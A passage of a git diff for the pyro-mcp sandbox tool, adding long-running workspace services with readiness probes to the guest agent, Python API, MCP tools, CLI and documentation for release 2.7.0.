[installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -179,6 +179,7 @@ After the CLI path works, you can move on to: - baseline diff: `pyro workspace diff WORKSPACE_ID` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - interactive shells: `pyro workspace shell open WORKSPACE_ID` +- long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -197,6 +198,13 @@ pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID +pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' +pyro workspace service list WORKSPACE_ID +pyro workspace service status WORKSPACE_ID web +pyro workspace service logs WORKSPACE_ID web --tail-lines 50 +pyro workspace service stop WORKSPACE_ID web +pyro workspace service stop WORKSPACE_ID worker pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -205,11 +213,14 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.6.0`; if it fails partway through, delete and recreate the workspace from its +is non-atomic in `2.7.0`; if it fails partway through, delete and recreate the workspace from its seed. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need an -interactive PTY that survives across separate calls. +interactive PTY that survives across separate calls. Use `pyro workspace service *` when the +workspace needs long-running background processes with typed readiness probes. Service metadata and +logs stay outside `/workspace`, so the service runtime itself does not show up in workspace diff or +export results. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index e66791e..9c0f5ac 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -32,6 +32,7 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state - `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer +- `start_service` / `list_services` / `status_service` / `logs_service` / `stop_service` when the agent needs long-running processes inside that workspace - `open_shell` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace Canonical example: @@ -69,6 +70,7 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required - `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer +- `Pyro.start_service(...)` + `Pyro.list_services(...)` + `Pyro.logs_service(...)` when the agent needs long-running background processes in one workspace - `Pyro.open_shell(...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace Lifecycle note: @@ -83,6 +85,8 @@ Lifecycle note: - use `diff_workspace(...)` when the agent needs a structured comparison against the immutable create-time baseline - use `export_workspace(...)` when the agent needs one file or directory copied back to the host +- use `start_service(...)` when the agent needs long-running processes and typed readiness inside + one workspace - use `open_shell(...)` when the agent needs interactive shell state instead of one-shot execs Examples: diff --git a/docs/public-contract.md b/docs/public-contract.md index f62ce2e..8f4d5af 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -24,6 +24,11 @@ Top-level commands: - `pyro workspace exec` - `pyro workspace export` - `pyro workspace diff` +- `pyro workspace service start` +- `pyro workspace service list` +- `pyro workspace service status` +- `pyro workspace service logs` +- `pyro workspace service stop` - `pyro workspace shell open` - `pyro workspace shell read` - `pyro workspace shell write` @@ -58,10 +63,12 @@ Behavioral guarantees: - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. +- `pyro workspace service *` manages long-running named services inside one started workspace with typed readiness probes. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. +- `pyro workspace status` includes aggregate `service_count` and `running_service_count` fields. ## Python SDK Contract @@ -82,6 +89,11 @@ Supported public entrypoints: - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.export_workspace(workspace_id, path, *, output_path)` - `Pyro.diff_workspace(workspace_id)` +- `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` +- `Pyro.list_services(workspace_id)` +- `Pyro.status_service(workspace_id, service_name)` +- `Pyro.logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` +- `Pyro.stop_service(workspace_id, service_name)` - `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` - `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `Pyro.write_shell(workspace_id, shell_id, *, input, append_newline=True)` @@ -112,6 +124,11 @@ Stable public method names: - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `export_workspace(workspace_id, path, *, output_path)` - `diff_workspace(workspace_id)` +- `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` +- `list_services(workspace_id)` +- `status_service(workspace_id, service_name)` +- `logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` +- `stop_service(workspace_id, service_name)` - `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` - `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `write_shell(workspace_id, shell_id, *, input, append_newline=True)` @@ -140,6 +157,8 @@ Behavioral defaults: - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. - `Pyro.diff_workspace(...)` compares the current `/workspace` tree to the immutable create-time baseline. +- `Pyro.start_service(...)` starts one named long-running process in a started workspace and waits for its typed readiness probe when configured. +- `Pyro.list_services(...)`, `Pyro.status_service(...)`, `Pyro.logs_service(...)`, and `Pyro.stop_service(...)` manage those persisted workspace services. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. - `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. @@ -171,6 +190,11 @@ Persistent workspace tools: - `workspace_exec` - `workspace_export` - `workspace_diff` +- `service_start` +- `service_list` +- `service_status` +- `service_logs` +- `service_stop` - `shell_open` - `shell_read` - `shell_write` @@ -190,6 +214,7 @@ Behavioral defaults: - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. - `workspace_diff` compares the current `/workspace` tree to the immutable create-time baseline. +- `service_start`, `service_list`, `service_status`, `service_logs`, and `service_stop` manage persistent named services inside a started workspace. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. - `shell_open`, `shell_read`, `shell_write`, `shell_signal`, and `shell_close` manage persistent PTY shells inside a started workspace. diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index 631f2af..91702dc 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,13 +2,14 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.6.0`: +Current baseline is `2.7.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export - persistent PTY shell sessions exist alongside one-shot `workspace exec` - immutable create-time baselines now power whole-workspace diff -- no service, snapshot, reset, or secrets contract exists yet +- multi-service lifecycle exists with typed readiness and aggregate workspace status counts +- no snapshot, reset, or secrets contract exists yet Locked roadmap decisions: @@ -30,7 +31,7 @@ also expected to update: 1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done 2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done 3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done -4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) +4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) 7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) diff --git a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md index d606401..6064fe4 100644 --- a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md +++ b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md @@ -1,5 +1,7 @@ # `2.7.0` Service Lifecycle And Typed Readiness +Status: Done + ## Goal Make app-style workspaces practical by adding first-class services and typed diff --git a/examples/python_workspace.py b/examples/python_workspace.py index 141fc8f..f6393a8 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -26,6 +26,19 @@ def main() -> None: exported_path = Path(export_dir, "note.txt") pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) print(exported_path.read_text(encoding="utf-8"), end="") + pyro.start_service( + workspace_id, + "web", + command="touch .web-ready && while true; do sleep 60; done", + readiness={"type": "file", "path": ".web-ready"}, + ) + services = pyro.list_services(workspace_id) + print(f"services={services['count']} running={services['running_count']}") + service_status = pyro.status_service(workspace_id, "web") + print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}") + service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) + print(f"service_stdout_len={len(service_logs['stdout'])}") + pyro.stop_service(workspace_id, "web") logs = pyro.logs_workspace(workspace_id) print(f"workspace_id={workspace_id} command_count={logs['count']}") finally: diff --git a/pyproject.toml b/pyproject.toml index e88ae09..6d5b25c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.6.0" +version = "2.7.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index 91a9103..739bc67 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -8,7 +8,8 @@ import fcntl import io import json import os -import pty +import re +import shlex import signal import socket import struct @@ -18,6 +19,8 @@ import tempfile import termios import threading import time +import urllib.error +import urllib.request from pathlib import Path, PurePosixPath from typing import Any @@ -25,6 +28,8 @@ PORT = 5005 BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") +SERVICE_ROOT = Path("/run/pyro-services") +SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, "INT": signal.SIGINT, @@ -105,6 +110,35 @@ def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: return str(normalized), host_path +def _normalize_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise RuntimeError("service_name is required") + if SERVICE_NAME_RE.fullmatch(normalized) is None: + raise RuntimeError("service_name is invalid") + return normalized + + +def _service_stdout_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stdout" + + +def _service_stderr_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stderr" + + +def _service_status_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.status" + + +def _service_runner_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.runner.sh" + + +def _service_metadata_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.json" + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -286,7 +320,7 @@ class GuestShellSession: self._log_path = SHELL_ROOT / f"{shell_id}.log" self._master_fd: int | None = None - master_fd, slave_fd = pty.openpty() + master_fd, slave_fd = os.openpty() try: _set_pty_size(slave_fd, rows, cols) env = os.environ.copy() @@ -512,6 +546,268 @@ def _remove_shell(shell_id: str) -> GuestShellSession: raise RuntimeError(f"shell {shell_id!r} does not exist") from exc +def _read_service_metadata(service_name: str) -> dict[str, Any]: + metadata_path = _service_metadata_path(service_name) + if not metadata_path.exists(): + raise RuntimeError(f"service {service_name!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record for {service_name!r} is invalid") + return payload + + +def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: + _service_metadata_path(service_name).write_text( + json.dumps(payload, indent=2, sort_keys=True), + encoding="utf-8", + ) + + +def _service_exit_code(service_name: str) -> int | None: + status_path = _service_status_path(service_name) + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _service_pid_running(pid: int | None) -> bool: + if pid is None: + return False + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_service_process(pid: int) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: + if str(payload.get("state", "stopped")) != "running": + return payload + pid = payload.get("pid") + normalized_pid = None if pid is None else int(pid) + if _service_pid_running(normalized_pid): + return payload + refreshed = dict(payload) + refreshed["state"] = "exited" + refreshed["ended_at"] = refreshed.get("ended_at") or time.time() + refreshed["exit_code"] = _service_exit_code(service_name) + _write_service_metadata(service_name, refreshed) + return refreshed + + +def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + _, ready_path = _normalize_destination(str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + proc = subprocess.run( # noqa: S603 + ["/bin/sh", "-lc", str(readiness["command"])], + cwd=str(cwd), + text=True, + capture_output=True, + timeout=10, + check=False, + ) + return proc.returncode == 0 + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _start_service( + *, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, +) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) + existing = None + metadata_path = _service_metadata_path(normalized_service_name) + if metadata_path.exists(): + existing = _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + if existing is not None and str(existing.get("state", "stopped")) == "running": + raise RuntimeError(f"service {normalized_service_name!r} is already running") + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + stdout_path = _service_stdout_path(normalized_service_name) + stderr_path = _service_stderr_path(normalized_service_name) + status_path = _service_status_path(normalized_service_name) + runner_path = _service_runner_path(normalized_service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd_path))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + "exit \"$status\"", + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd_path), + text=True, + start_new_session=True, + ) + payload: dict[str, Any] = { + "service_name": normalized_service_name, + "command": command, + "cwd": normalized_cwd, + "state": "running", + "started_at": time.time(), + "readiness": readiness, + "ready_at": None, + "ended_at": None, + "exit_code": None, + "pid": process.pid, + "stop_reason": None, + } + _write_service_metadata(normalized_service_name, payload) + deadline = time.monotonic() + ready_timeout_seconds + while True: + payload = _refresh_service_payload(normalized_service_name, payload) + if str(payload.get("state", "stopped")) != "running": + payload["state"] = "failed" + payload["stop_reason"] = "process_exited_before_ready" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if _run_readiness_probe(readiness, cwd=cwd_path): + payload["ready_at"] = time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if time.monotonic() >= deadline: + _stop_service_process(process.pid) + payload = _refresh_service_payload(normalized_service_name, payload) + payload["state"] = "failed" + payload["stop_reason"] = "readiness_timeout" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _status_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + return _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + + +def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + stdout, stdout_truncated = _tail_service_text( + _service_stdout_path(normalized_service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_service_text( + _service_stderr_path(normalized_service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + +def _stop_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + pid = payload.get("pid") + if pid is None: + return payload + if str(payload.get("state", "stopped")) == "running": + _, killed = _stop_service_process(int(pid)) + payload = _status_service(normalized_service_name) + payload["state"] = "stopped" + payload["stop_reason"] = "sigkill" if killed else "sigterm" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + + def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: action = str(request.get("action", "exec")) if action == "extract_archive": @@ -564,6 +860,31 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: if shell_id == "": raise RuntimeError("shell_id is required") return _remove_shell(shell_id).close() + if action == "start_service": + service_name = str(request.get("service_name", "")).strip() + command = str(request.get("command", "")) + cwd_text = str(request.get("cwd", "/workspace")) + readiness = request.get("readiness") + readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + return _start_service( + service_name=service_name, + command=command, + cwd_text=cwd_text, + readiness=readiness_payload, + ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), + ready_interval_ms=int(request.get("ready_interval_ms", 500)), + ) + if action == "status_service": + service_name = str(request.get("service_name", "")).strip() + return _status_service(service_name) + if action == "logs_service": + service_name = str(request.get("service_name", "")).strip() + tail_lines = request.get("tail_lines") + normalized_tail_lines = None if tail_lines is None else int(tail_lines) + return _logs_service(service_name, tail_lines=normalized_tail_lines) + if action == "stop_service": + service_name = str(request.get("service_name", "")).strip() + return _stop_service(service_name) command = str(request.get("command", "")) timeout_seconds = int(request.get("timeout_seconds", 30)) return _run_command(command, timeout_seconds) @@ -571,6 +892,7 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: def main() -> None: SHELL_ROOT.mkdir(parents=True, exist_ok=True) + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 0653759..a364c78 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -207,6 +207,50 @@ class Pyro: def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: return self._manager.close_shell(workspace_id, shell_id) + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + cwd: str = "/workspace", + readiness: dict[str, Any] | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + ) -> dict[str, Any]: + return self._manager.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + ) + + def list_services(self, workspace_id: str) -> dict[str, Any]: + return self._manager.list_services(workspace_id) + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return self._manager.status_service(workspace_id, service_name) + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int = 200, + all: bool = False, + ) -> dict[str, Any]: + return self._manager.logs_service( + workspace_id, + service_name, + tail_lines=None if all else tail_lines, + ) + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return self._manager.stop_service(workspace_id, service_name) + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.delete_workspace(workspace_id) @@ -458,6 +502,69 @@ class Pyro: """Close a persistent workspace shell.""" return self.close_shell(workspace_id, shell_id) + @server.tool() + async def service_start( + workspace_id: str, + service_name: str, + command: str, + cwd: str = "/workspace", + ready_file: str | None = None, + ready_tcp: str | None = None, + ready_http: str | None = None, + ready_command: str | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + ) -> dict[str, Any]: + """Start a named long-running service inside a workspace.""" + readiness: dict[str, Any] | None = None + if ready_file is not None: + readiness = {"type": "file", "path": ready_file} + elif ready_tcp is not None: + readiness = {"type": "tcp", "address": ready_tcp} + elif ready_http is not None: + readiness = {"type": "http", "url": ready_http} + elif ready_command is not None: + readiness = {"type": "command", "command": ready_command} + return self.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + ) + + @server.tool() + async def service_list(workspace_id: str) -> dict[str, Any]: + """List named services in one workspace.""" + return self.list_services(workspace_id) + + @server.tool() + async def service_status(workspace_id: str, service_name: str) -> dict[str, Any]: + """Inspect one named workspace service.""" + return self.status_service(workspace_id, service_name) + + @server.tool() + async def service_logs( + workspace_id: str, + service_name: str, + tail_lines: int = 200, + all: bool = False, + ) -> dict[str, Any]: + """Read persisted stdout/stderr for one workspace service.""" + return self.logs_service( + workspace_id, + service_name, + tail_lines=tail_lines, + all=all, + ) + + @server.tool() + async def service_stop(workspace_id: str, service_name: str) -> dict[str, Any]: + """Stop one running service in a workspace.""" + return self.stop_service(workspace_id, service_name) + @server.tool() async def workspace_delete(workspace_id: str) -> dict[str, Any]: """Delete a persistent workspace and its backing sandbox.""" diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index f0e5aa3..9e7a319 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -17,6 +17,9 @@ from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION from pyro_mcp.vm_manager import ( DEFAULT_MEM_MIB, + DEFAULT_SERVICE_LOG_TAIL_LINES, + DEFAULT_SERVICE_READY_INTERVAL_MS, + DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, DEFAULT_VCPU_COUNT, WORKSPACE_GUEST_PATH, WORKSPACE_SHELL_SIGNAL_NAMES, @@ -171,6 +174,11 @@ def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> N f"{int(payload.get('mem_mib', 0))} MiB" ) print(f"Command count: {int(payload.get('command_count', 0))}") + print( + "Services: " + f"{int(payload.get('running_service_count', 0))}/" + f"{int(payload.get('service_count', 0))} running" + ) last_command = payload.get("last_command") if isinstance(last_command, dict): print( @@ -304,6 +312,42 @@ def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: ) +def _print_workspace_service_summary_human(payload: dict[str, Any], *, prefix: str) -> None: + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"service_name={str(payload.get('service_name', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_service_list_human(payload: dict[str, Any]) -> None: + services = payload.get("services") + if not isinstance(services, list) or not services: + print("No workspace services found.") + return + for service in services: + if not isinstance(service, dict): + continue + print( + f"{str(service.get('service_name', 'unknown'))} " + f"[{str(service.get('state', 'unknown'))}] " + f"cwd={str(service.get('cwd', WORKSPACE_GUEST_PATH))}" + ) + + +def _print_workspace_service_logs_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + _print_workspace_service_summary_human(payload, prefix="workspace-service-logs") + + class _HelpFormatter( argparse.RawDescriptionHelpFormatter, argparse.ArgumentDefaultsHelpFormatter, @@ -339,6 +383,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace diff WORKSPACE_ID pyro workspace export WORKSPACE_ID note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' Use `pyro mcp serve` only after the CLI validation path works. """ @@ -549,6 +595,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace diff WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' pyro workspace logs WORKSPACE_ID """ ), @@ -570,6 +618,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes pyro workspace diff WORKSPACE_ID + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' """ ), formatter_class=_HelpFormatter, @@ -943,6 +993,160 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_service_parser = workspace_subparsers.add_parser( + "service", + help="Manage long-running services inside a workspace.", + description=( + "Start, inspect, and stop named long-running services inside one started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service list WORKSPACE_ID + pyro workspace service status WORKSPACE_ID app + pyro workspace service logs WORKSPACE_ID app --tail-lines 50 + pyro workspace service stop WORKSPACE_ID app + + Use `--ready-file` by default in the curated Debian environments. `--ready-command` + remains available as an escape hatch. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_service_subparsers = workspace_service_parser.add_subparsers( + dest="workspace_service_command", + required=True, + metavar="SERVICE", + ) + workspace_service_start_parser = workspace_service_subparsers.add_parser( + "start", + help="Start one named long-running service.", + description="Start a named service inside a started workspace with optional readiness.", + epilog=dedent( + """ + Examples: + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app --ready-command 'test -f .ready' -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + """ + ), + 